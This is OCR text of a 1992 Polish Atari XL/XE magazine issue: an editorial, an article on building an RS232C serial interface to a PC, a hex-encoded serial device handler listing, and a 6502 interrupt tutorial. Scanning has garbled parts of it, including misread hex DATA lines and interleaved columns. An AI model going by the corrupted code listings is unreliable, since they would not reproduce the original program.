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Przcpras/am wszystkich, którzy telefonowali 
ostatnio do redakcji w nie cierpiącej zwłoki spra¬ 
wie Jak znaleźć czar siły". A także tych. którzy 
szukali u nas porady Jak ożywić materię nieoży¬ 
wioną". Jak również liczne grono zmęczonych 
układaniem kamieni niedoszłych wężobójców. Cie¬ 
szymy Się wszyscy, że kompletna pod każdym 
względem gra R. Pantoły "Klątwa" tak się Państwu 
podoba. Niestety, etat redakcyjnego Jasnowidza 
ciągle pozostaje nieobsadzony i chętnie dowiedzie 
libyimy się od Was. Jak dokonać tych wszystkich 
cudów. Wierzę w pomysłowość i dociekliwość na¬ 
szych Czytelników. Chętnie opisźemy w TA żwie¬ 
rzenia osoby, która ukończyła grę. 

Otrzymaliśmy list od zdegustowanego Czytelni¬ 
ka. któremu nic podoba się nasza postawa wobec 
komputerowych piratów. Z Jednej strony - pisze - 
piętnujemy ich słowem, z drugiej zaś popieramy 
czynem, drukując Ich ogłoszenią. A co mamy ro¬ 
bić? Zatrudnić detektywów, by zbadali uczciwość 
naszych klientów? Je/dztć po Polsce z siekierą? Sq 
przecież instytucje jx>wołane do pilnowania pra¬ 
wnego porządku. Jeżeli Czytelnik wie cos o przy¬ 
padku pogwałcenia prawa, powinien się do nich 
zwrocie. Wiele rzeczy się nam nte podoba i dajemy 
temu wyraz na łamach gazety. Ale dalecy jeste 
śmy od wymierzania sprawiedliwości na własną 
rękę! Cóżby to była za sprawiedliwość? To tak. 
Jakby wyłączyć komuś centralne ogrzewanie za to. 
że nie ustąpił staruszce miejsca w tramwaju. Da¬ 
rujcie. nie czujemy się do tego powołani. 

Życzę wszystkim powodzenia w naszym nowym 
konkursie (patrz str. $ 11 ). Nagrody czekają. Nastę¬ 
pny numer TA. to już Święta. Szykujcie swe serca 
(i trzosy) na obfitą porcję gwiazdkowych atrakcji. 
Pozdrawiam Was clejylo w ten chłodny czas. 





Tajemnice ATARI Pismo użytkowników ATARI XL/XE skr. poczt. 66. 35-959 Rzeszów 2 
tel. (Rzeszów) 374-71 wewn. 250 lub 282. Redaktor naczelny: Janusz B. Wiśniewski 
współpracownicy: Jarosław Syrylak. Barbara Zwarycz, Maciej Mach 
opracowanie merytoryczne: L. K. AVALON; opracowanie graficzne: Danuta Sienkowska 
Wydawca: Tajemnice ATARI s.c. Adres redakcji: Rzeszów, Targowa 1, pok. 801 

Druk: PETIT. Indeks 379972 








SZTUKA KOMUNIKACJI 

Zdarza się często i to nie tylko 
w redakcji TA, że trzeba przenieść 
zbiory pomiędzy ATARI XL/XE a in¬ 
nym komputerem - np. klasy PC. 
Najczęściej dotyczy to zresztą zbio 
rów tekstowych. Małe ATARI do¬ 
skonale nadaje się do pisania te¬ 
kstów, zwłaszcza pod zarządem 
dobrego edytora. Wyjście ze swą 
twórczością w szerszy świat możli¬ 
we bywa często tylko poprzez kom¬ 
putery PC. Drogi prowadzące do te¬ 
go celu są dwie. Jedna polega na 
przenoszeniu zbiorów tekstowych 
przez dyskietki 5,25". Po skopio¬ 
waniu zbiorów na podwójną gę¬ 
stość zapisu ATARI, trzeba użyć 
swojej lub zaprzyjaźnionej stacji 
z rozszerzeniem TOMS, można też 
skorzystać ze wskazówek zasyg¬ 
nalizowanych w TA 8/91. Druga 
możliwość to coś znacznie bliższe¬ 
go konwersacji między komputera¬ 
mi - wymiana Informacji na bieżą¬ 
co, po kabelku. 

W czasie normalnej pracy nasze¬ 
go komputera całe 8 bitów pojawia 
się Jednocześnie tam gdzie trzeba 
1 tak też wędrują one na niewielkie 
odległości poza komputer, np. do 
drukarki pracującej w standardzie 
Centronics. Wszystko dzieje się 
przy tym na poziomie napięcia 5V 
niepodzielnie królującego w kom¬ 
puterze. Taki rodzaj równoległej 
komunikacji z urządzeniem peryfe¬ 
ryjnym ma jednak swoje wady. Je¬ 
śli komunikujemy się na większe 
odległości, pojawia się problem za¬ 
kłóceń oraz kosztu kabla z kilku¬ 
nastoma żyłami. Zupełnie zresztą 
nie do pomyślenia jest przesłanie 
całego stada bitów jednocześnie 
przez modem telefoniczny. Na te 
kłopoty jedna jest rada: szeregowe 
przesyłanie Informacji. Sposób sta¬ 
ry jak telekomunikacja, bo telegraf 
praszczura Morse'a. a potem dale¬ 
kopis też wykorzystują ten właśnie 
sposób. 

Informacja wędruje tu między na¬ 
dawcą 1 odbiorcą kolejno bit po bi¬ 
cie, najczęściej z szybkością od 50 
do 19200 bodów (czyli bitów na se¬ 
kundę). Może się to dziać synchroni¬ 
cznie lub asynchronicznie. W pier¬ 
wszym przypadku jednocześnie z in¬ 
formacją, po osobnej linii wysyłany 
jest sygnał "zegara" taktującego, któ¬ 
ry ułatwia bezbłędne dekodowanie 
informacji. Według drugiego sposo¬ 
bu na początku przesyłu, na linii bę¬ 
dącej w stanie gotowości (zwykle 
stan "1") pojawia się tzw. bit startu 
(stan "0"), który zapowiada "teraz 
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Idzie bajt!". Od tej chwili odbiornik 
rozpoczyna odczytywanie stanu linii 
w ustalonych odstępach czasu 1 na 
tej podstawie odtwarza wysłany bajt. 
Po bitach informacji można Jeszcze 
wstawić tzw. bit parzystości, który 
pomaga w stwierdzeniu, czy to, co 
odebraliśmy nie uległo po drodze 
przekłamaniu. Jeśli liczba jedynek 
w informacji była parzysta, ma on 
wartość "0". jeśli zaś była nieparzy¬ 
sta, to "1". Gdy zatem w odbiorniku 
suma wszystkich Jedynek (bity infor¬ 
macji i parzystości) jest parzysta, to 
są duże szanse, że wszystko Jest OK. 
Na końcu sekwencji pojawić się 
musi bit stopu. Ma on za zadanie 
ponownie wprowadzić linię w stan 
gotowości. Daje też przy okazji mo¬ 
żliwość upewnienia się. że transmi¬ 
sja zachodzi bezbłędnie. Linia mu¬ 
si pozostawać w tym stanie co naj¬ 
mniej przez czas trwania 1 lub 
2 bitów. Potem wszystko może za¬ 
cząć się od nowa. 


po rozpoczęciu transmisji odbiornik 
może się bowiem "nie wyrabiać" 
z zagospodarowaniem otrzymywa¬ 
nych informacji I dobrze jest, gdy 
może poprosić nadajnik o chwilowe 
wstrzymanie transmisji. 

INTERFACE RS232 

W czasopismach spotyka się nie¬ 
kiedy informacje o interface do ATA¬ 
RI pozwalających na transmisję wg 
standardu RS232, Jak np ATARI 
850 lub P:R:CONNECTION, ale nie 
zdarzyło mi się oglądać żadnego 
z nich w akcji. Zadanie, jakie sobie 
postawiłem, to prosta konstrukcja 
umożliwiająca komunikację między 
ATARI XL/XE (przez złącze joysti¬ 
cka 1) a komputerem klasy PC. Du¬ 
że komputery wyposażone są z regu¬ 
ły w interface pracujący w stand¬ 
ardzie RS232C. Narzuca to koniecz¬ 
ność dopasowania sygnałów dostę¬ 
pnych na wyjściu ATARI XL/XE 



bity informacji bit(y) stopu 


bit 

startu 


bit 

parzystości 


t 

> 


Rys.l Asynchroniczna transmisja szeregowa 


Na rys.l pokazano przebiegi cza¬ 
sowe na linii asynchronicznej trans¬ 
misji szeregowej. Taki sposób ko¬ 
munikacji wymaga wcześniejszego 
uzgodnienia między nadawcą i od¬ 
biorcą parametrów transmisji. Doty¬ 
czy to szybkości ("Baud ratę"), 
sprawdzania parzystości (lub nie) 
i liczby bitów informacyjnych (od 
5 do 8) oraz stopu (1 lub 2). Zwykle 
nie nastręcza to większych kłopo¬ 
tów. bo informacja jest krótka. 
W przypadku najprostszym wystar¬ 
czą do przesyłu dwa przewody (syg¬ 
nał 1 masa). W praktyce są osobne li¬ 
nie do nadawania i odbioru uzupeł¬ 
nione jeszcze często o 2-6 linii po¬ 
mocniczych pozwalających na bar¬ 
dziej precyzyjną komunikację. Już 


do standardu narzuconego przez 
wielkiego brata. Procedury nadawa¬ 
nia I odbioru załatwia program, ale 
do dopasowania poziomów napięć 
potrzebne jest rozwiązanie sprzęto¬ 
we. Problem bowiem w tym, że 
w standardzie RS232C na linii wy¬ 
stępują napięcia +/-12V. a żeby było 
łatwiej, to logicznej jedynce odpo¬ 
wiada -12V, a zeru +12V. Jedyne 
napięcie zasilające, jakie mamy do 
dyspozycji, to +5V na gniazdku joy- 
stickowym ATARI. Zapowiadać by 
się mogła dość strzelista konstru¬ 
kcja z przetwornicą napięcia. Jednak 
nowoczesna technika oszczędza 
nam na szczęście trudów. Przy za¬ 
stosowaniu współczesnych "kości" 
jest to zadanie proste 1 przyjemne. 
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ATARI RC 

W1 W2 



Na rys.2 przedstawiony Jest sche¬ 
mat Ideowy Interface RS232C. Wtyk 
9-końcówkowy W1 przyłącza się do 
gniazda Joysticka 1, zaś 25-końców- 
kowy W2 - do stosownego gniazda 
w komputerze PC. 

Zastosowany tu układ scalony 
TC232CPE łączy w sobie funkcje 
dwóch przetwornic napięcia oraz in- 
werterów przesuwających przy okazji 
poziomy z zakresu 0/+5V na +/-12V 
(dwa nadajniki linii) oraz z +/-12V 
z powrotem na 0/+5V (dwa odbiorniki 
linii). Układ ten może występować też 
pod innymi oznaczeniami literowymi, 
np. ICL232. Obsługuje on linie nada¬ 
wania i odbioru informacji (TxD oraz 
RxD) oraz dwie linie sygnałów pomoc¬ 
niczych DTR i CTS. Rola tych ostat¬ 
nich polega na tym, że w czasie trans¬ 
misji można sprawdzać, czy odbiorca 
informacji jest Już gotów do przyję¬ 



cia kolejnego bajtu. Zastosowany zo¬ 
stał przełącznik, który umożliwia 
w jednym położeniu zwarcie tych li¬ 
nii ze sobą, w drugim zaś - ich nor¬ 
malne funkcjonowanie. 

Układ najwygodniej Jest zmonto¬ 
wać na płytce drukowanej umiesz¬ 
czonej w niewielkiej obudowie pla¬ 
stikowej. Kabel zakończony 9-styko- 
wym wtykiem "żeńskim" (do gniazda 
joysticka ATARI) powinien mieć co 
najwyżej 50 cm. Drugi kabel wycho¬ 
dzący z Interface do gniazda (np. 
COM1) komputera PC może być zna¬ 
cznie dłuższy - nawet kilkanaście 
metrów. Kable trzeba zamocować 
w obudowie Interface, aby ich moc¬ 
niejsze pociągnięcie nie narażało na 
uszkodzenie połączeń elektrycznych. 
Uruchomienie prawidłowo połączo¬ 
nego układu elektronicznego nie po¬ 
winno nastręczać najmniejszych 
trudności. Nie są też potrzebne żad¬ 
ne bardziej wyrafinowane techniki 
pomiarowe. Wystarczy miernik uni¬ 
wersalny. Na początek bezpieczniej 
jest przyłączyć układ do zewnętrzne¬ 
go źródła zasilania +5V. Wejścia 
układu pracujące na poziomie TTL 
(końcówki 3 14 wtyku Wl) trzeba 
przyłączać na przemian do napięcia 
+5V i do masy obserwując poziomy 
napięcia na wyjściach. Są to odpo¬ 
wiednio końcówki 3 15 wtyku W2. 
Poziomy napięć powinny się tam 
zmieniać od -12V do +12V. Przy 
+5V na wejściu ma być -12V na wy¬ 


jściu, zaś przy 0V na wejściu ma być 
+ 12V na wyjściu (układy nadajni¬ 
ków linii są przy okazji inwertera- 
mi). Jeśli wszystko jest w porządku, 
oznacza to prawidłową pracę prze¬ 
twornicy napięcia oraz Jednej pary 
inwerterów-nadajników linii. 

Sprawdzenie drugiej pary inwerte- 
rów, tj. odbiorników linii najłatwiej 
zrealizować w podobnym układzie 
aplikacyjnym. Wyjścia sprawdzo¬ 
nych już nadajników linii łączymy 
z wejściami odbiorników. Połączyć 
trzeba w tym celu we wtyku W2 koń¬ 
cówki 3 z 2 oraz 5 z 20. Wówczas 
zmiany poziomów 0/+5V na koń¬ 
cówkach 3 14 wtyku Wl powinny 
wywoływać takie same zmiany na 
końcówkach odpowiednio 112 tego 
wtyku. Wspomniane napięcie 12V 
trzeba traktować orientacyjnie - 
zwykle jest to ok. 9V, co w zupełno¬ 
ści wystarcza do prawidłowej pracy. 
Układy odbiorcze mają ponoć dzia¬ 
łać prawidłowo już od +/-3V. Po ta¬ 
kim sprawdzeniu i usunięciu połą¬ 
czeń dokonywanych w czasie testo¬ 
wania, można już włączyć wtyki in¬ 
terface do odpowiednich gniazd 
w komputerach. Nie od rzeczy bę¬ 
dzie przypomnieć, że wszelkie mani¬ 
pulacje z wtykami muszą być bez¬ 
względnie poprzedzone wyłączeniem 
obu komputerów. 


— — 

Literatura: 

1. K. Badźmirowski 1 in. "Układy 
1 systemy mikroprocesorowe" cz.1,2; 
WNT Warszawa 1990 

2. S. Piotrowski: Interfejs szeregowy 
w IBM PC XT/AT; Mikroklan nr 6(9) 
1987 

Wykaz podzespołów: 

US - układ scalony TC232CPE 
lub odpowiednik 
Cl, C2, C3 - lOuF 
C4, C5 - 4.7uF 

Wl, W2 - wtyki 9- i 25-stykowe 



Witold Prokopowicz 



Przedstawiony obok program instaluje urządzenie "R:" t 
umożliwiające łatwe sterowanie złączem szeregowym, 

opisanym na poprzednich stronach w cyklu "Atari inaczej”. 

Program ten umieszcza w pamięci obsługę złącza szeregowego, dołącza 
swoją procedurę do łańcucha lnlcjallzacjl wskazywanego przez wektor 
DOSINI, wstawia wpis "R:' do tablicy HATABS 1 podnosi MEMLO, aby 
ochronić się przed zamazaniem. Od tej pory można używać "R:" tak. Jak 
każdego innego urządzenia zewnętrznego. Jedynym warunkiem Jest przy¬ 
łączenie z drugiej strony kabelka jakiejś innej maszynki wyposażonej 
w podobne złącze. Może to być nie tylko postulowany przez p. Prokopo¬ 
wicza "pecet", ale także bltźniak-ATARI z drugim takim samym "lnterfa- 
cem lub cokolwiek Innego, np. drukarka lub modem. Standard RS 232 
stanowi pomost ponad dziwactwami wytwórców sprzętu. Jest uniwersal¬ 
nym Językiem. który zbliża obce sobie komputery. 

Pracę złącza szeregowego charakteryzuje szereg parametrów. Wię¬ 
kszość z nich Jest w tym programie ustalona na sztywno: bit parzystości 
(brak), liczba bitów danych (8), liczba bitów stopu (1). Można wpływać 
na prędkość transmisji, poprzez wybór jednej z trzech wartości: 300. 
600 i 1200 bodów, ale prędkość 600, którą program przyjmuje domyśl¬ 
nie, wydaje się optymalna. Oczywiście komputerowy partner z drugiej 
strony drutu musi ustawić takie same parametry. Jeżeli z Jakichś wzglę¬ 
dów prędkość 600 bodów nam nie odpowiada, można Ją zmienić za po¬ 
mocą parametru AUX2 rozkazu OPEN. W BASIC-u będzie to np. 

OPEN #1,8,p,"R: ” 

Jako p podajemy 1 dla prędkości 300, 2 - dla 600 13 - dla 1200. Licz¬ 
ba 0 oznacza pozostawienie poprzednio ustawionej prędkości bez zmian. 
Przypominam, że drugi parametr rozkazu OPEN oznacza kierunek prze¬ 
syłania danych: 8 to nadawanie (4 - odbiór, a 12 - transmisja dwukie¬ 
runkowa, tzw. duplex). 

Z uwagi na uproszczoną konstrukcję handlera NIE WOLNO w czasie 
aktywności urządzenia "R:" (od OPEN do CLOSE) korzystać z innych 
zewnętrznych urządzeń WE/WY, w tym także z drugiego "R ' 

Odwieczny kłopot przy wymianie danych z innymi komputerami stanowi 
różnica w oznaczaniu końca wiersza. ASI przeprowadza zamianę wysyłane¬ 
go znaku o kodzie 155 (po stronie ATARI) na znak 13 1 oczywiście odwrot¬ 
ną zamianę przy odbiorze, o ile posłużymy się urządzeniem "R:" lub "Rl:". 
W przypadku "R2:" 1 wyższych numerów konwersja nie Jest przeprowadza¬ 
na, co umożliwia transmisję plików binarnych. Myślę Jednak, że najczęst¬ 
szym zastosowaniem złącza będzie przesyłanie tekstów. Szczególnie atra¬ 
kcyjna Jest możliwość rozmowy, podczas której odlegli od siebie użytkow¬ 
nicy komputerów piszą teksty na Jednakowo widzianym ekranie. Drugim 
i ostatnim znakiem, który bywa przez ASI zamieniany, Jest BACKSPACE 
(cofacz), który pozwala poprawiać błędy, o ile zostaną w porę zauważone. 
Trzeba wszakże pamiętać, że w wielu programach komunikacyjnych cofanie 
nie powoduje wymazania napisanego wcześniej tekstu. 

W normalnym trybie pracy ASI wysyła otrzymany za pośrednictwem 
CIO bajt, o ile wysyłanie poprzedniego Już się zakończyło. W przeciwnym 
wypadku czeka wewnątrz procedury WE/WY. Podobnie przy odbiorze 
program oczekuje, Jeżeli cały bajt Jeszcze nie nadszedł. Aby umożliwić 
pracę równoległą, wprowadzono możliwość natychmiastowego powrotu 
z procedur WE/WY, Jeżeli złącze nie Jest gotowe do przekazania kolejnego 
znaku. Taki tryb dla nadawania wymusza się przez zwiększenie w rozka¬ 
zie OPEN wartości parametru p o 128, zaś dla odbioru - o 64. CIO prze¬ 
kazuje wówczas użytkownikowi kod błędu 224, który wybrałem dla 
zasygnalizowania, że chwilowo dana operacja nie może być wykonana. 

W komputerze IBM najwygodniej Jest posłużyć się Jakimś typowym pro¬ 
gramem telekomunikacyjnym, pracującym Jako terminal. Ja użyłem w tym 
celu programu 'Terminal", wchodzącego w skład pakietu MS WINDOWS 
3.1. Po stronie ATARI zastosowałem krótki programik w BASIC-u, który 
odbiera nadchodzące znaki równolegle z nadawaniem: 

MK 10 N=40:CLOSE #1:0PEN #1,4,0,"K:” 

YH 20 CLOSE #2:0PEN #2,12,128+64+2,"R:” 

XR 30 TRAP N:GET #2,R:? CHR$(R);:GOTO N 
WO 40 ON PEEK(764)=255 GOTO 30:GET #1,T 
GR 50 ? CHR$(T);:ON T=24 GOTO 70 
BX 60 N=60:TRAP 30:PUT #2,T:N=40:GOTO 30 
BH 70 TRAP 40000:END :REM CTRL/X=KONIEC 


Aby uzyskać samodzielny program ASI, zdatny do 
wykonania przy pomocy DOS-u lub COS-u, należy 
połączyć widniejący tu listing z programem Zgry- 
wus+ z TA 2/92, uruchomić całość, wybrać "format 
plikowy" 1 podać nazwę C: bądź D:ASI.COM, stosow¬ 
nie do zwyczajów posiadanego urządzenia, co spowo¬ 
duje zapisanie programu na kasecie lub dyskietce. 
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1000 

PX 

1002 

FJ 

1004 

YY 

1006 

JP 

1008 

DK 

1010 

PU 

1020 

YX 

1030 

m 

1040 

X0 

1050 

DL 

1060 

CS 

1070 

2C 

1080 

ME 

1090 

CK 

1100 

EM 

1110 

BR 

1120 

NO 

1130 

WW 

1140 

NW 

1150 

AA 

1160 

SB 

1170 

uz 

1180 

SM 

1190 

DC 

1200 

OY 

1210 

WY 

1220 

TA 

1230 

QJ 

1240 

SR 

1250 

MQ 

1260 

PU 

1270 

NR 

1280 

VL 

1290 

£>Q 

1300 

TT 

1310 

JY 

1320 

FK 

1330 

WM 

1340 

KD 

1350 

UF 

1360 

NG 

1370 

KF 

1380 

HX 

1390 

WM 

1400 

PS 

1410 

AF 

1420 

AQ 

1430 

FQ 

1440 

OG 

1450 

CO 

1460 

EC 

1470 

SF 

1480 

WU 

1490 

EC 

1500 

BX 

1510 

PX 

1520 

QP 

1530 

AE 

1540 

IB 

1550 

MK 

1560 

VE 

1570 

RE 

1580 

CK 

1590 

CU 

1600 

UQ 

1610 

UE 

1620 

TV 

16 30 

PC 

1640 

YM 

1650 

ZA 

1660 

WD 

1670 

DF 

1680 

JV 

1690 


REM *- 

REM : ATARI Serial Interface 
REM : autor: J. B. Wi$niewski 
REM : (c) 1992 Tajemnice ATARI 

REM *- 1 

DATA ffff007c977ca200200b7ca201 
DATA 200b7c60a000ca300ab9397cc8 
DATA c99bd0f8f0f38aa2009d480318 
DATA 9869399d4403a9009d4903697c 
DATA 9d4503a9099d42034c56e49b41 
DATA 544152492053657269616c2049 
DATA 6e7465726661636520312e3020 
DATA 6279204a4257209b22523a2220 
DATA 696e7374616c6c656420286465 
DATA 6661756c743d3630302c6e2c38 
DATA 2c31299b556e61626c6520746f 
DATA 20696e7374616c6c2022523a22 
DATA fd9be202e302007c0070f37120 
DATA 0000ad1fd0c907 f00bad017085 
DATA 0cad0270850d60ade0718de702 
DATA adel718de802a252ace27lade3 
DATA 714cbceeadl6028df47ladl702 
DATA 8df571a000a52Ic902b001888c 
DATA f67Ia52b8df7712903f007a8b9 
DATA ef718df37Ia00c20c070a0008c 
DATA f871888c007278adde718dl602 
DATA addf718dl70258a0008c08d28c 
DATA 01d2adf3718d00d2a510090185 
DATA 108d0ed28d09d2a52a2904f009 
DATA a0ff8cf871c88cfb7Ia52a2908 
DATA f000a001602C007 210fb7 8adf 4 
DATA 718dl602adf5718dl70258a510 
DATA 2 9 fe8 5108d0ed2a000a9 308d02 
DATA d38c00d3a9348d02d3a0016048 
DATA a9012c0ed2f004686cf471a9fe 
DATA 8d0ed2a5108d0ed22cf871f043 
DATA 1008ad00d34ab03b900c5010a9 
DATA 048dfa71a9088df9714ef8714c 
DATA 2e7Icefa71d022ad00d34aa904 
DATA 8dfa7lcef97130066efc714c2e 
DATA 7ladfc718dfd7la9ff8df8718d 
DATA fb712c00723034500ba9088dfe 
DATA 714e007218901aceff71d022ad 
DATA fe711007a9ff8d00726840cefe 
DATA 713830034e0172a9002a0a0a8d 
DATA 00d3a9048dff7168402cf67110 
DATA 10c99bf008c97ed008a908d004 
DATA a90dd0002 4111056 2c007 2 3008 
DATA 2cf77110f2a0e0608d01724e00 
DATA 72a001602cf671102120be7130 
DATA 12c90d£00fc908£00ec9laf00d 
DATA C92090e6a00160a99b60a97e60 
DATA a08860241110162cfb7130082C 
DATA £77 150£2a0e060adfd71eefb7 1 
DATA a00160a08084116000d07002 7 2 
DATA e4712b70al709771687lal70al 
DATA 7034la0dla0272cf72a201b50c 
DATA 9d0170bde702950ccal0£3a900 
DATA 85cf18ade70285d4690385d8ad 
DATA e80285d5690085d938a90085d2 
DATA e5d485d0a97085d3e5d585dla0 
DATA 00f0033866cfa5d2c902a5d3e9 
DATA 729008a202200b7c6cd80024cf 
DATA 70633027bld285ce91d420c372 
DATA aaf0d9c920f017c940£0d4c960 
DATA f0d0290dc908£0ca90418a291f 
DATA C909f03abld2c8c900bld288e9 
DATA 709012bld2c8c903bld288e972 
DATA b006a5d0a6dl900724cf309ca9 
DATA 00aa85d686d738bld2e5d691d4 
DATA 20c372bld2e5d74cbb72bld291 
DATA d420c3724c4072e6d2d002e6d3 
DATA e6d4d002e6d560e002e302cf72 
DATA 0272 


Janusz B. Wiśniewski 







kry chrobot To przerwania, angażujące 
procesor do innych prac, zakłócają dzia¬ 
łanie naszego programu. Spróbujmy te¬ 
mu zaradzić, wyłączając przerwania IRQ 
poprzez umieszczenie rozkazu 


fzerwamci 


W niektórych dziedzinach przerywanie 
uważane bywa za niezdrowe Dla proce¬ 
sora wszakze jest to zwykła rzecz. Prze¬ 
rwania są wręcz niezbędne To w kom¬ 
puterze coś. Jak rytm serca. 

Przerwanie w rozumieniu informatycz- 


konuje on podczas swej normalnej pracy 
jakąś dodatkową robotę. Poczynania swe 
maskuje starannie by nikt, zwłaszcza 
szef. tego nie Zauważył Niestety, często 
odbija się to na jakości i wydajności pod¬ 
stawowej pracy. 


SEI 

bezpośrednio przed pętlą LOOP. 
I co? Dźwięk się nie zmienił, ale za 
to nie możemy przerwać programu 
przez SHIFT/BREAK, ponieważ zgło¬ 
szenie przerwania nadchodzące 
z klawiatury nie jest juz przez proce¬ 
sor obsługiwane. Można oczywiście 
użyć rozkazu 


nym oznacza pewne zdarzenie, nierzad¬ 
ko losowe, które wymaga od procesora 
natychmiastowego zainteresowania. Kla¬ 
syczne przerwanie objawia się sygnałem 
elektrycznym podanym na nóżkę proce 
sora Procesor 6502 ma dwie takie nóż¬ 
ki zwane IRQ i NM1 Różnica między ni¬ 
mi polega na tym, że można programowo 
wyłączyć wrażliwość procesora na sygnał 
1RQ, podczas gdy wejście NMI pozostaje 
zawsze aktywne Źródłami sygnałów 
przerwań są w komputerze ATARI ukła¬ 
dy pomocnicze' POKEY (IRQ) i ANTIC 
(NMI) Nadchodzące od nich sygnały mó¬ 
wią o takich zdarzeniach, jak naciśnięcie 
klawisza, rozpoczęcie pionowego powro¬ 
tu plamki kreślącej obraz itd. To system 
nerwowy procesora, jedyny Jego kontakt 
z realnym światem 

Fakt istnienia (pojawiania się) prze¬ 
rwań mąci idyllę programisty, nie jest on 
bowiem w stanie przewidzieć, w którym 
momencie wykonywania jego programu 
nadejdzie sygnał, skupiający na sobie ca¬ 
łą uwagę procesora. Przerwanie jest za¬ 
wsze ważniejsze od jakiegoś tam głupie¬ 
go programu! Większość przerwań powo¬ 
dowanych jest przez zdarzenia wymaga¬ 
jące natychmiastowej reakcji. Procesor 
PRZERYWA więc wykonywanie progra¬ 
mu użytkownika (naszego programu!), 
zamiast niego realizując tzw. procedurę 
obsługi przerwania. Po zakończeniu tej 
procedury powraca do wykonania prze¬ 
rwanego programu, jakby nic się nie zda¬ 
rzyło Aby przerwanie nie miało wpływu 
na wykonanie naszego programu, proce¬ 
dura jego obsługi jest zobowiązana do 
pozostawienia procesora DOKŁADNIE 
w takim stanie, w jakim go zastała. 
Sprzyja temu "odruchowy" mechanizm 
reakcji na sygnał przerwania: procesor 
umieszcza na stosie rejestr znaczników 
i adres kolejnego rozkazu, który miał zo¬ 
stać wykonany w chwili wystąpienia 
przerwania. Specjalny rozkaz powrotu 
z przerwania, którym musi się kończyć 
każda procedura obsługi RTI powoduje 
odtworzenie adresu programu i znaczni¬ 
ków. Jeżeli w trakcie obsługi przerwania 
używane są jakieś rejestry, musi zostać 
przechowana (i oddana!) ich pierwotna 
wartość Dzięki takiemu postępowaniu 
przerwanie pozostaje niewidoczne dla 
programu użytkownika Uff, możemy 
spać spokojnie 

Obsługę przerwania można porównać 
do wykonania "fuchy" przez sprytnego (i 
nieuczciwego) pracownika Cichcem wy- 


Blokowanie przerwań 

Początkujący programista nie zauwaza 
istnienia systemu przerwań. Czasami 
jednak komputer zachowuje się jakoś 
dziwnie Próbujemy na przykład napisać 
program który wydaje dźwięki bez uży¬ 
cia POKEY-a: 



OPT 

%10101 

CONSOL 

EQU 

$D01F 

SPEAKR 

EQU 

%00001000 

DELAY 

EQU 

200 


ORG 

$480 

PLAY 

LDA 

#0 

LOOP 

EOR 

# SPEAKR 


STA 

CONSOL 


LDX 

#DELAY 

PAUSE 

DEX 



BNE 

PAUSE 


JMP 

LOOP 


END 



CLI 

przywracającego wrażliwość na 
przerwania IRQ. ale jak bez klawia¬ 
tury skłonie program do jego wyko¬ 
nania? Tym razem juz tylko RESET 
nam pomoże. To pierwsze ostrzeże¬ 
nie: wyłączając przerwania bez mo¬ 
żliwości ich włączenia możesz łatwo 
zablokować komputer! 

Źródłem zakłóceń dźwięku w naszym 
przypadku jest przede wszystkim prze¬ 
rwanie VBLANK, należące do grupy NMI 
Związane Jest ono z pionowym powrotem 
plamki kreślącej obraz telewizyjny I jest 
wywoływane przez ANTIC regularnie co 
1/50 sekundy. Jest to jednak przerwanie 
niemaskowalne a więc nie można zablo¬ 
kować jego odbioru w procesorze Cóż 
więc począć? Trzeba wyłączyć źródło 
przerwania 1 Do tego celu w ANTIC-u słu 
ży komórka 



Dla uproszczenia pominięto opcje wvj 
ścia. Programik można 
zatrzymać przez 

SHIFT/BREAK lub (bru 
talnie) przez RESET 
Przy okazji drobna uwa 
ga. Mlni-Debugger Qu 
lek Assemblera (urucha 
mlany opcją Run) przed 
przystąpieniem do wyko¬ 
nania naszego programu 
zeruje wstępnie wszy¬ 
stkie rejestry, aby uła¬ 
twić obserwowanie 

zmian. Na Twoim miej¬ 
scu nie liczyłbym na to, 
ponieważ systemy typu 
DOS nie robią tego. 

A zatem prawdziwy pro¬ 
gram powinien zawsze 
nadawać rejestrom war 
toścl początkowe (patrz 
wiersz z etykietą PLAY). M2ollcr 


NMIEN EQU $D40E 


Powyższy, prosty program steruje 
membraną głośni ka poprzez bit SPE¬ 
AKER w komórce CONSOL Jak pamię¬ 
tamy z poprzednich odcinków, rozkaz 
EOR, użyty w ten sposób, będzie dawał 
w akumulatorze na przemian wartości 
%00001000 i %00000000 Uwzględniając 
opóźnienie, wprowadzone przez pętlę 
PAUSE, powinniśmy otrzymać dźwięk 
o określonej wysokości, wynikającej 
z prędkości procesora. Tymczasem za¬ 
miast czystego dźwięku usłyszymy przy¬ 


Usuń z naszego programu rozkaz SEI 
(niewielki tu z niego pożytek), z zamiast 
niego wstaw 

LDA #0 
STA NMIEN 

Zasembluj 1 uruchom program Teraz 
wyraźnie słychać różnicę. Brzmienie 
dźwięku znacznie się poprawiło, choć Je¬ 
szcze dalekie jest od Ideału Warto jed¬ 
nak pamiętać, ze wyłączenie przerwań 
NMI powoduje zatrzymanie funkcji istot- 











nych dla życia systemu ATARI, takich 
Jak zegar systemowy, liczniki programo¬ 
we, aktualizacja rejestrów-clenl, pełna 
obsługa klawiatury ltd. Dalsze kłopoty 
pojawią się w chwili, gdy zechcesz od¬ 
tworzyć poprzedni stan rejestru NMIEN. 
Do światowej skarbnicy nonsensu należy 
zaliczyć metodę proponowaną przez nie¬ 
których programlstów-teoretyków: 

LDA NMIEN 

PHA 

z zamiarem późniejszego odtworzenia 
przez 

PLA 

STA NMIEN 

Niestety! Rejestr NMIEN nie Jest ko¬ 
mórką pamięci, a przy tym konstrukto¬ 
rzy nie wyposażyli go w możliwość odczy¬ 
tu. Cokolwiek tam wstawić, odczytuje się 
zawsze 255, 1 nic z tego nie wynika. Tym¬ 
czasem we współczesnych ATARI tylko 
dwa bity w NMIEN mają znaczenie: 

DLI_EN EQU %10000000 
VBL_EN EQU %01000000 

Pierwszy zezwala na przerwania wywo¬ 
ływane przez program ANTIC-a, zaś dru¬ 
gi na przerwania związane z pionowym 
powrotem plamki w telewizorze. Ponie¬ 
waż trudno zgadnąć. Jak wyglądało doty¬ 
chczasowe ustawienie, stosowane bywają 
dwie metody przywracania przerwań 
NMI: bezpieczna 


LDA #DLI_EN+VBL_EN 
STA NMIEN 

Każda ma swoje wady, związane 
z przerwaniem "DLI". Pierwsza zabija to 
przerwanie, o ile dotąd było aktywne. 
Druga może uruchomić niepożądaną 
aktywność przerwania, choć dotąd tyło 
zablokowane. Wybór należy do Ciebie. 
Moja prywatna taktyka polega na unika¬ 
niu Ingerencji w NMIEN, o Ile nie Jest to 
niezbędnie konieczne. Zainteresowanych 
tematem praktycznego zastosowania 
przerwań NMI odsyłam do cyklu "Pisze¬ 


my Demo", tymczasem zaś wróćmy do 
